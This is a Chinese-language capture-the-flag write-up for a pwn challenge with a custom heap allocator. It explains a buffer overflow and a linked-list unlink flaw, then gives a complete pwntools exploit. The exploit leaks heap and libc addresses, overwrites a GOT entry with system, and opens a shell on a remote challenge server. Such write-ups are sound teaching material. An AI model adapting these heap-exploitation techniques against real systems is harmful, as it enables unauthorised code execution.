-
-
[原创]第7题—pwn
-
2017-11-6 23:56 2391
-
功能:
1. 堆管理:实现了自己的堆管理,先用mmap申请0x1000大小的堆块,存于全局变量chunk0x1000ptr中,然后再从这个空间中分配小块,有0x10大小的头加上实际存储空间。实现了单链表结构,单链表的remove功能存在漏洞(sub_402BCC)。
2. 登录和注册选项:
a. Signup:输入username/password/character’s name三个值进行存储。
b. Login:输入username/password和signup时存储的值进行比较,相等则进行下一步。
3. 游戏选项:
先要打印location,这个值必须在0~6之间。
(1).Show my status:输出character的信息。
(2).View the items in the package:输出包里的某个物品,对某个物品可以remove。
(3).GO TO..:到某个地方。
(4).Explore here:开始探索这个地方,遇到item,可以选择捡起物品。
(5).cheat:这里会申请0x30的空间,但第二次输入时可输入300字节,有溢出。
(0).exit:回到上一菜单。
4. 数据结构
user
___________
| head |
———————————
ptr —> | |
————————————
| username |
| |
———————————— character
| password | ______________
| | | head |
———————————— ————————————
| ptr | ——————> |character_name|
——————— ——————————————
|health|stamina| item
—————————————— ______________
|wdight|location| | head |
—————————————— ——————————————
| items | ————> | type| weight|
——————— ——————————————
| 1 | ptr | ————> next item
——————————————
|bullet| power|
——————————————
漏洞:
cheat选项的溢出,结合单链表的remove。
利用:
signup,login,cheat,signup,login,这样就可以利用cheat选项覆盖后面的user/character/item结构。覆盖character的items指针,利用(1).Show my status泄露heap_addr和libc_addr。
再构造character’s items ->fake_chunk_ptr-0x18(item1)>fake_chunk2(item2)->atoi_got(item3),利用remove选项去掉第2个item(单链表操作sub_402BCC),这样fake_chunk_ptr就指向了atoi_got,再利用cheat修改atoi_got处的值为system_addr,即可得到shell。
Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
DEBUG = 0
if DEBUG:
#p = process('./club')
p = process(['./pwn'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
#context.log_level = 'debug'
libc = ELF('libc.so.6')#libc.so.6 #/lib/x86_64-linux-gnu/libc-2.24.so
else:
p = remote('123.206.22.95', 8888)
libc = ELF('libc.so.6')
def signup(p,username,password,charac):
p.recvuntil('2.Signup\n')
p.sendline(str('2'))
p.recvuntil('username\n')
p.send(username)
p.recvuntil('password\n')
p.send(password)
p.recvuntil('s name\n')
p.send(charac)
def login(p,username,password):
p.recvuntil('2.Signup\n')
p.sendline(str('1'))
p.recvuntil('username:\n')
p.send(username)
p.recvuntil('password:\n')
p.send(password)
def cheat1(p):
p.recvuntil('0.exit\n')
p.sendline('5')
p.recvuntil('name:\n')
p.sendline(p64(0)+p64(6)[:-1])
p.recvuntil('content:\n')
p.sendline('bbb')
p.recvuntil('0.exit\n')
p.sendline('0')
def cheat2(p,content):
p.recvuntil('0.exit\n')
p.sendline('5')
p.recvuntil('content:\n')
p.send(content)
def show_states(p):
p.recvuntil('0.exit\n')
p.sendline('1')
malloc_got=0x605070
heap_cheat_ptr=0x6050F0
signup(p,'1\n','2\n','1\n')
login(p,'1\n','2\n')
#gdb.attach(p,'b *0x402F84')
cheat1(p)
signup(p,'1\n','2\n','3\n')
login(p,'1\n','2\n')
payload='a'*32
fake_person=p64(1)+p64(64)+p64(0)+'a'.ljust(16,'\x00')+'b'.ljust(16,'\x00')+p64(heap_cheat_ptr)
data=payload+fake_person+'\n'
cheat2(p,data)
show_states(p)
#print p.recv()
p.recvuntil('i,')
heap_cheat=u64(p.recvuntil('\n=')[:-2].ljust(8,'\x00'))
print hex(heap_cheat)#0x7f9d744110b0
fake_person=p64(1)+p64(64)+p64(0)+'a'.ljust(16,'\x00')+'b'.ljust(16,'\x00')+p64(malloc_got)
data=payload+fake_person+'\n'
cheat2(p,data)
#print p.recv()
show_states(p)
p.recvuntil('i,')
malloc_addr=u64(p.recvuntil('\n=')[:-2].ljust(8,'\x00'))
print hex(malloc_addr)#0x7f9d744110b0
libc_base=malloc_addr-(0x7f068dcba130-0x00007f068dc36000)
print hex(libc_base)
system_addr=libc_base+libc.symbols['system']
print hex(system_addr)
payload=p64(1)+p64(heap_cheat+16+32+64+16+56+16)+p64(0)+p64(0)
fake_person=p64(1)+p64(64)+p64(0)+'a'.ljust(16,'\x00')+'b'.ljust(16,'\x00')+p64(heap_cheat+16+32+64+16)
print hex(heap_cheat+16+32+64+16)
fake_chara=p64(1)+p64(96)+'a'.ljust(16,'\x00')+p64(100)+p64(100)+p64(100)+p64(2)+p64(heap_cheat_ptr-24)
fake_good=p64(1)+p64(64)+p64(2)+p64(6)+p64(1)+p64(heap_cheat_ptr-16)+p64(0)
data=payload+fake_person+fake_chara+fake_good
#402FEF')
print len(data)
cheat2(p,data[:-1]+'\n')
#gdb.attach(p,'b*0x4030B4')
#
#show_states(p)
#gdb.attach(p)
print "11"
p.recvuntil('0.exit\n')
p.sendline('2')
p.recvuntil('Your Choice:\n')
p.sendline('3')
p.recvuntil('urn\n')
p.sendline('1')
p.recvuntil('urn\n')
p.sendline('2')
print "22"
p.recvuntil('Your Choice:\n')
p.sendline('2')
p.recvuntil('urn\n')
p.sendline('1')
p.recvuntil('urn\n')
p.sendline('2')
p.recvuntil('Your Choice:\n')
p.sendline('4')
print "123"
#p.recvuntil('0.exit\n')
cheat2(p,p64(0x605068)[:-1]+'\n')
#gdb.attach(p,'b*0x402FEF')
cheat2(p,p64(system_addr)[:-1]+'\n')
print "hh"
p.recvuntil('0.exit\n')
print "ee"
p.sendline('/bin/sh')
p.interactive()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法